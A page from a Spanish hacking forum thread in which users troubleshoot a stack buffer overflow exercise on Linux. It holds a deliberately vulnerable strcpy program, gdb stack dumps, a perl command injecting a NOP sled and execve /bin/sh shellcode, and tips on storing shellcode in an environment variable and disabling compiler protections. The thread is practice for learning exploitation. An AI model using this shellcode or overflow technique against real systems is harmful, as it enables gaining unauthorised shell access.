elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  No puedo sobrescribir EIP (Linux)
0 Usuarios y 3 Visitantes están viendo este tema.
Páginas: 1 2 3 [4] 5 Ir Abajo Respuesta Imprimir
Autor Tema: No puedo sobrescribir EIP (Linux)  (Leído 28,315 veces)
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #30 en: 1 Enero 2011, 03:00 am »

Excelente!!
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #31 en: 1 Enero 2011, 19:56 pm »

Algo asi me paso en Linux xd...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #32 en: 3 Enero 2011, 15:36 pm »

Hola!!!

Retomando el tema, me he vuelto a encontrar un problema más. Y es que al saltar a los NOPs me sale lo siguiente:

Error accessing memory address 0x90909090: Error de entrada/salida.

¿No deberia saltar todos los NOPs hasta llegar a la shellcode?

Gracias
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #33 en: 3 Enero 2011, 17:06 pm »

Pero es que los nops se saltan cuando "tienen que ser ejecutados". El EIP lo debes sobreescribir de manera exacta.

Son cosas distintas las direcciones y las instrucciones.
« Última modificación: 3 Enero 2011, 17:15 pm por braulio-- » En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #34 en: 3 Enero 2011, 17:35 pm »

Mmmm

Entonces no sé si lo entendido bien o estoy metiendo la pata en algún sitio. La cadena que estoy metiendo en el buffer es así: NOPS + shellcode + dirección de salto a los NOPS
Mira, esta es la pila antes de ejecutar el "strcpy"
Código:
0xbffff5a4:	0xbffff664	0x00119b02	0xbffff654	0x080481cc
0xbffff5b4: 0xbffff648 0x0012da74 0x00000000 0x00130b28
0xbffff5c4: 0x00000001 0x00000000 0x00000001 0x0012d918
0xbffff5d4: 0x00000000 0x00010000 0x00296ff4 0x00246e79
0xbffff5e4: 0x0016d785 0xbffff5f8 0x00154ae5 0x00000000
0xbffff5f4:        0x08049ff4 0xbffff608 0x080482c0 0x0011eac0
0xbffff604: 0x08049ff4 0xbffff638 0x08048429 0x00297324
0xbffff614: 0x00296ff4 0x08048410 0xbffff638 0x0016d985
0xbffff624: 0x0011eac0 0x0804841b 0xbffff638 0x080483f7 <-- RET
0xbffff634: 0xbffff831 0xbffff6b8 0x00154ce7 0x00000002

Tengo declarada el variable buffer con 128 bytes y el RET lo sobreescribo con 136. Y así paso los parametros
Código:
run $(perl -e 'print "\x90"x51 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xb4\xf5\xff\xbf"x10')

Código:

0xbffff5a4: 0xbffff5ac 0xbffff831 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0xeb909090 0x76895e1f
0xbffff5e4: 0x88c03108 0x46890746 0x890bb00c 0x084e8df3
0xbffff5f4: 0xcd0c568d 0x89db3180 0x80cd40d8 0xffffdce8
0xbffff604: 0x69622fff 0x68732f6e 0xbffff5b4 0xbffff5b4
0xbffff614: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4
0xbffff624: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4 <-- RET sobreescrito con dir. de salto a NOPS
0xbffff634: 0xbffff800 0xbffff6b8 0x00154ce7 0x00000002

He puesto que salte a la dir 0xbffff5b4 que es donde hay NOPS y obtengo esto:
Código:
rror accessing memory address 0x90909090: Error de entrada/salida.

0xbffff5b4 in ?? ()

Se supone que tendría que ejecutar lo que hubiera en la dir. 0xbffff5b4  no¿??

Salu2
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #35 en: 3 Enero 2011, 17:46 pm »

Mira, yo siempre que he explotado BoF lo he hecho guardando la shellcode en una variable de entorno porque la dirección de esta es siempre fija y la puedes llamar desde donde te de la gana.

Cuando tengas la variable de entorno con la shellcode tienes que averiguar la dirección, puedes hacerlo con este código:
Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. int main(int argc, char *argv[]){
  4. char *addr;
  5. addr = getenv(argv[1]);
  6. printf("%s is located at %p\n", argv[1], addr);
  7. return 0;
  8. }
  9.  
Una vez tengas la dirección solo tienes que sobrescribir eip con esa dirección.

Prueba a ver.
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #36 en: 3 Enero 2011, 19:33 pm »

A mi ese code me suena a "Hacking. Tecnicas fundamentales". Lo tengo aqui al lado xD
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #37 en: 4 Enero 2011, 18:50 pm »

Bueno, a mi me pasa algo parecido a este ultimo caso, y no he conseguido resolverlo  :-\
Mi code es casi igual... Sí, lo hice en 5 segundos, muy currado verdad?
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. if (argc != 2) return 1;
  8. char buffer [40];
  9. strcpy (buffer, argv [1]);
  10. }
  11.  
Pues le meto 200 Bs y no me sobreescribe...
Código:
(gdb) r $(perl -e 'print "B"x200')

Código:
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/vuln $(perl -e 'print "B"x200')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main (argc=Cannot access memory at address [b]0x42424206[/b]
) at vuln.c:10
10 }
(gdb)
Entonces si le cambio el valor de B, me pone el hexadecimal de la letra que haya puesto. Pero si en vez de doscientos le meto 500 el resultado es igual. Entonces hay un byte "intocable". El ultimo. Como puede ser?
Si no consigo sobreescribirlo no puedo seguir xD

Gracias por vuestra ayuda
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #38 en: 5 Enero 2011, 01:26 am »

Hola!

A mi me pasó algo parecido. Son temas de protección que el "gcc" implementa para no llevar a cabo el buffer overflow. Mira que tengas todas las protecciones quitadas a la hora de compilar.
Por cierto, el último error que puse era problema de los breakpoint. Cosa rarisima, cuando ejecuto el código con el gdb y breakpoints me tira el error, cuando hago lo mismo sin breakpoint, me ejecuta la shellcode.... Por lo que he leido se trata de un problema con la arquitectura de 64bits que tengo y las librerias de 32bits con los que están compiladas el gcc.

Salu2
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #39 en: 5 Enero 2011, 11:20 am »

Creo que no. He probado a quitar todas las protecciones... :o y nada...
He probado a compilar con cc y... nada.

La cosa es que hay un byte que no se puede modificar...
Código:
Starting program: /home/juanra/Escritorio/shell/vuln AAAABBBBCCCCDDDDEEEEFFFF

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main (argc=Cannot access memory at address 0x43434327
) at vuln.c:10
10 }
(gdb)
El ultimo byte me tendria que dar o una D o una B, pero no 27...
La cosa es que no puedo modificarla...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: 1 2 3 [4] 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
no sobrescribir imagen
Programación Visual Basic
soru13 7 2,786 Último mensaje 27 Agosto 2006, 02:05 am
por soru13
Problema al sobrescribir « 1 2 »
Análisis y Diseño de Malware
MasterPunk 12 7,199 Último mensaje 3 Octubre 2010, 19:12 pm
por APOKLIPTICO
Sobrescribir addEventListener en todos los objetos
Desarrollo Web
patilanz 2 1,956 Último mensaje 1 Enero 2016, 16:40 pm
por patilanz
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines